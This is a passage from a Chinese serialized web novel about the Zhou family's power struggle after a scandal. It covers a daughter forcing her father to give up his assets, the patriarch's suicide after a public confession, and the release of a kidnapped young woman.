周绮珊不语,只是一鞭接着一鞭抽下! 小时候周元义怎么教训她,她现在就怎么还回去,力道只多不少。 周元义先前的嚣张气焰被抽得七零八落,只剩下惊恐和难以置信。 他抱着头在客厅里乱窜:“救命!文佩!!救命啊!!!” 见无人敢插手,他最终只能跪地大哭:“我错了!我错了!!你……你到底想怎么样?!” 周绮珊从口袋里掏出一张纸,甩在周元义脸上。 “签了它。” 周元义颤巍巍地捡起纸张,定睛一看,只觉眼前一黑。 “净……净身出户?” …… 第1003章 大梦谁先觉,平生我自知 “什么?!净身出户?她怎么不去抢?你这也能同意?” 周家老宅主厅,周元白咆哮的声音震得头顶的吊灯都晃了晃。 周元正沉着脸捏了捏眉心,“你小声点,还嫌外面不够热闹?” 自从周家出事后,周元正就成了绝对的话事人。周元白不敢顶撞,轻咳了一声。 “老爷子出事,周家名下大半资产都在调查,现在正是用钱的时候,那死丫头这个时候打家产的主意,这分明是想把周家拆散。” 未免众人觉得自己大题大做,他目光转了一圈看向周宴珩,“阿珩,你说我说的对不对?” 周宴珩坐在沉厚的丝绒沙发里,神情倦怠,碍于周元白是长辈,才懒懒应了一声:“对。” “那我能怎么办?”周元义指着脸上的鞭伤,“我要不签,那孽女当场就能把我打死。我总不能就这么被打死吧?” 周宴珩点头,“三叔说的也对。” 周元白和周元义表情同时一愣,显然没想到周宴珩这个时候踢起了皮球。 “阿珩,”周元正略带警告瞥了一眼周宴珩,“周家现在风雨飘摇,你们一个个的还不省心,没等外面的人打进来,这个家就先散了!” “大哥,那你看,现在该怎么办啊?”周元白悻悻坐回沙发,憋着火给自己倒了杯茶。 周元正沉吟片刻,指着眼前的椅子,“老三,你先坐下听我说。你和珊珊毕竟是父女一场,这么闹下去不像话,等过几天我请她回来吃饭,你服个软。” “什么?!我给她服软?!”周元义就像被踩了尾巴的猫,瞬间从椅子上弹了起来。 “大哥!我是她老子!是她打了我!她拿鞭子抽我!还要抢我家产!你现在让我给她服软?!这世上哪有这样的道理?!” 周元正面不改色:“协议的事是她逼你的,算不了数。” “可……”周元义正要开口,忽然想起周绮珊此前叫嚣的话。 周家现在声名狼藉,若想保住根基,必然要依附她的功勋。 他当时只觉这个孽女不自量力到可笑,可现在看周元正的态度,难不成还真被她说中了? 这不讽刺吗? 他汲汲营营当牛做马,为的就是在周家能有一席之地,可他争了一辈子,连上桌的资格都没有。 现在,他最看不起的女儿,竟然轻而易举就做到了这一切。 周元义一下有些恍惚,他想说什么,却发不出完整的声音。 周元白不满道:“大哥,那死丫头把咱们害成这样,你……” “我什么?”周元正只抬眼看了他一下。 那眼神没什么情绪,客厅里的空气陡然一沉。 周元义脸色微变,立马虚笑着掩饰过去,“没……什么?” “既然没有异议,就这么决定了。”周元正不紧不慢地起身,目光转向仍坐在沙发里的周宴珩,语气平常,“阿珩,跟我去书房。” 说完,也不等其他人反应,径直朝主厅外走去。 周宴珩放下茶杯,朝周元白和周元义略一颔首,起身跟了上去。 * 书房是私密空间。 周元正显然有话要问,周宴珩径直拉过椅子坐下,率先道: “您如果是想问我和爷爷在书房里说了什么,我劝您别开口。” 周元正没有发怒,甚至脸上连一丝意外的神情都没有,目光里蕴着看不透的暗流:“所以,让老爷子顶罪的主意真是你出的?” 周宴珩迎着他的目光,“证据确凿的事,哪有顶罪一说?还是说,父亲您觉得,这个时候该一家人有福同享有难同当?” “……”周元正额角青筋暴动,“你现在真是翅膀硬了!这种事竟然都不跟我商量?!” “原来父亲是气这个啊?” 周宴珩扯了扯嘴角,“那您可就不讲理了。您在不知情的情况下享受了所有利益,既不用背负世俗的骂名,也不用承担背叛的愧疚,您还有什么不满意的?” 周元正听完周宴珩那句近乎诛心的话,脸上的怒意却如潮水般迅速褪去。 书房里令人窒息的沉默持续了许久。 周元正缓缓闭眼,再睁眼时声音平淡得听不出情绪:“周家这次虽是壁虎断尾,但也元气大伤。珊珊若只是把她母亲接走也就罢了,现在还要求老三净身出户,这意思已经很明显了。现在就看你是怎么想的了?” 周元义是周家的钱袋子,周绮珊直接动资产,这是要争权的信号。 现在的周家理所当然由周元正作主,毕竟他的资历和地位摆在那,可要再过十年二十年就不一定了。 周绮珊有军功作保,仕途坦荡,若任她壮大,以后未必不能一争。 周元正是在提醒周宴珩。 周宴珩没有立刻回答。 他微微垂下眼帘,目光落向窗外的大雪,“不急,还有一子未落,局面尚不明朗。” * 大雪在铅灰色的天穹下倾泻,粗粝的雪粒子被寒风卷成一片浑茫的幕布,遮掩了茫茫天地。 周国潮负手立在巨大的落地窗前,静静看着脚下。 蚂蚁般的人影在雪泥中攒动,高举的标语牌像一面面招魂幡。 半晌后,他伸出双手,抚平左侧衣襟,又抚平右侧,指尖划过盘扣,确保每一颗都严丝合缝地系在它该在的位置。 然后,是袖口、领缘、下摆……每一个细微的褶皱都被他耐心地抻直、抹平。 这过程缓慢、专注,近乎一种仪式。 周管家佝偻着站在他身侧,抬手轻轻拂去周国潮肩上的雪花,老泪淌过脸上的皱纹,纵横交错。 周国潮的目光掠过他,没有任何停留,也没有任何波澜。 “走吧,老伙计,以后的路不用送了。” 语毕,他没有半点迟疑,亲手推开眼前的玻璃门。 瞬间,狂暴的风雪如同找到缺口般猛扑进来,将他花白的头发和大衣下摆狠狠向后扯去。 遨游过苍穹的雄鹰即使被折断了翅膀,也不愿穷居沼泽。 所以,他要哗然退场,而不是被默默蚕食。 周国潮从怀中取出那份早已备好的认罪书。 纸张在狂风中疯狂抖动,发出脆弱的悲鸣。上面的字迹是他亲笔所书,力透纸背,是他为自己、为上个时代的周家献上的最后礼物。 “大梦谁先觉,平生我自知!” 周国潮仰天长啸,向前踏出一步。 身影倏然下坠,如眼前簌簌飞雪,决绝地投向大地的怀抱。 几秒后,一声沉闷的钝响从楼下传来,很快便被更加猛烈的风雪呼啸彻底吞没。 …… 第1004章 奖励 这一声沉闷的钝响像雪崩一样传开,比任何官方通报都快。 养老院楼下,挥舞的标语停在了半空。抗议的声浪,在这具砰然坠地的躯体面前,失去了继续沸腾的理由和对象,人群开始沉默地散去。 A国的舆论场经历了短暂的失语后,随即陷入了一场前所未有的地震。 因为这是历史上破天荒的第一例:一位真正手握庞大资本与隐形权柄的财阀巨头,在舆论滔天、罪证确凿之际,选择以死谢罪。 周国潮用最惨烈的方式,为自己和那个旧时代画上了句号。而他怀里那封带血的认罪书,也让他在谢幕的最后一刻,留下了最浓重的一笔。 各大主流媒体甚至用上“惊天一跃”、“旧时代的绝响”、“特权者的最终审裁”等耸动标题,字里行间,无不透着一种凛冽的寒意和深刻的惊疑。 人们不再仅仅抨击周家的罪恶,而是开始思考更深的意义。 当民意、舆论、乃至某种无形的历史清算压力凝聚到极点,即便是最坚固的特权壁垒,其内的灵魂也可能先行崩溃。 周国潮的死,仿佛一记响亮的耳光,抽在所有认为“权贵总能逍遥法外”的固有认知上,也像一柄悬垂而下的利剑,映照出其他上位者苍白的面容。 人们忽然觉得,这个世界没有那么绝望。无数人一起并肩前行,总会越来越好的。 * 风雪依旧笼罩着周家老宅。 书房里,依旧是父子的对局。 周元正维持着那个望向窗外的姿势很久,直到风雪在玻璃上又覆盖了厚厚一层,模糊了外界的一切,他才极其缓慢地转回头。 “这……就是你等的落子?你早知道老爷子会走上这一步?” 周宴珩的确比任何人都提前预见了这样的结果。 一个掌握顶尖权柄的人,怎么会甘心成为家族的一粒尘埃? 老爷子若不死,世人对周绮珊的敬重永远会被特权枷锁压制。但这封认罪书一出,周绮珊便再无顾虑。 这不仅是为了周绮珊,也是为了周家日后能出一位本家上将。毕竟,这是老爷子多年以来的心结。 只有一点,周宴珩有些出乎意料。 周国潮竟然在临死前,给周绮珊立下了专属基金。有了这笔钱,就算周绮珊没有家族的支持,也能迅速扩张个人势力、培植班底。 这么看来,老爷子在最后一刻,似乎有了想更改家族继承人的意愿。他明白,一个女人想要战胜男权何等不易,所以特意送了周绮珊一步登云梯。 周宴珩不由觉得意兴阑珊。 就在这时,茶几上的手机屏幕无声地亮起,嗡嗡地震动了一下。 他不甚在意地瞥了过去。当看见发件人一栏的名字时,散漫的视线骤然定住。丝毫没有顾及场合,他拿起手机查看。 「姜花衫:忽然想起来,之前的赌约有一个问题没有回答完整。」 周宴珩眼睑微沉,指尖轻点屏幕。 下一秒,消息相继弹出: 「姜花衫:你不是问我,为什么要让姜晚意假冒周绮珊吗?」 「姜花衫:我现在可以回答你了。」 「姜花衫:因为我也选了周绮珊。」 短短两行字,让周宴珩的整个思绪轰然崩塌,这一刻,颅内的兴奋和欲望达到了顶峰。 原以为是美丽的困兽,不想竟是棋逢对手。 不! 如果她说的都是真的,是棋高一招,她完全预判了他的行动,像是天生克他一样。 周宴珩压下颤抖的指尖,只回了一个问号。 这个时候来招惹他,一定还有后招。 果然,问号发出去的下一秒,对方就回复了。 「姜花衫:作为奖励,你是不是可以把姜晚意还给我了?」 这算盘珠子打得都快崩他脸上了。 周宴珩指尖飞快: 「可以。你亲自来领人。」 「姜花衫:我刚刚说了,这是我的奖励。我亲自来,就是你的奖励了。」 上一秒还觉得意兴阑珊的周宴珩,这一秒被气笑了。 一旁的周元正:“……” * 鲸港B区码头仓库。 姜晚意缩在角落一堆霉变的麻袋后面,眼睛被粗糙的黑布蒙得严严实实,嘴里塞着东西,手腕和脚踝都被绑着。 那些人把她丢在这就没有了动静。她不敢发出声响,只能死死抱住自己,尽量减少颤抖。 忽然,她听见耳边传来一阵清晰的脚步声。 “嗒——嗒——嗒——” 他们来了! 他们会杀了她!会羞辱她!她会比死更难受! 姜晚意猛地蜷缩起身体,试图将自己缩得更小。 这时,脚步声在她面前停下。 她能感觉到有人靠近的气息,没有立刻动手,似乎只是在打量她。 这种悬而未决的折磨,比直接的暴力更令人窒息。姜晚意屏住了呼吸,连颤抖都停滞了。 一双手落在了她的脑后。 手指温热,动作却并不粗暴。 系紧的黑布结被解开,蒙眼的布条被轻轻摘落。 突如其来的光线,让她不适地眯起了眼睛。泪水生理性地涌出,视线模糊了好几秒,才逐渐清晰。 不是凶神恶煞的一张脸,是那张她嫉妒过、憎恨过、又无比期盼过的熟悉面孔。 紧绷到极致的神经,在这一刻骤然松脱。随之而来的不是放松,而是排山倒海般对恐惧的后怕。 “呜……呜……” 姜花衫眉头几不可察地蹙了一下,先扯下了她嘴上的封带,“你想说什么?” 布团被扯出的瞬间,姜晚意猛地吸了一口气,随即被喉咙的干痛和口腔的不适呛到,剧烈地咳嗽起来。 “咳……咳咳…呜呜呜,你骗我!姜花衫!你骗我!!!” ……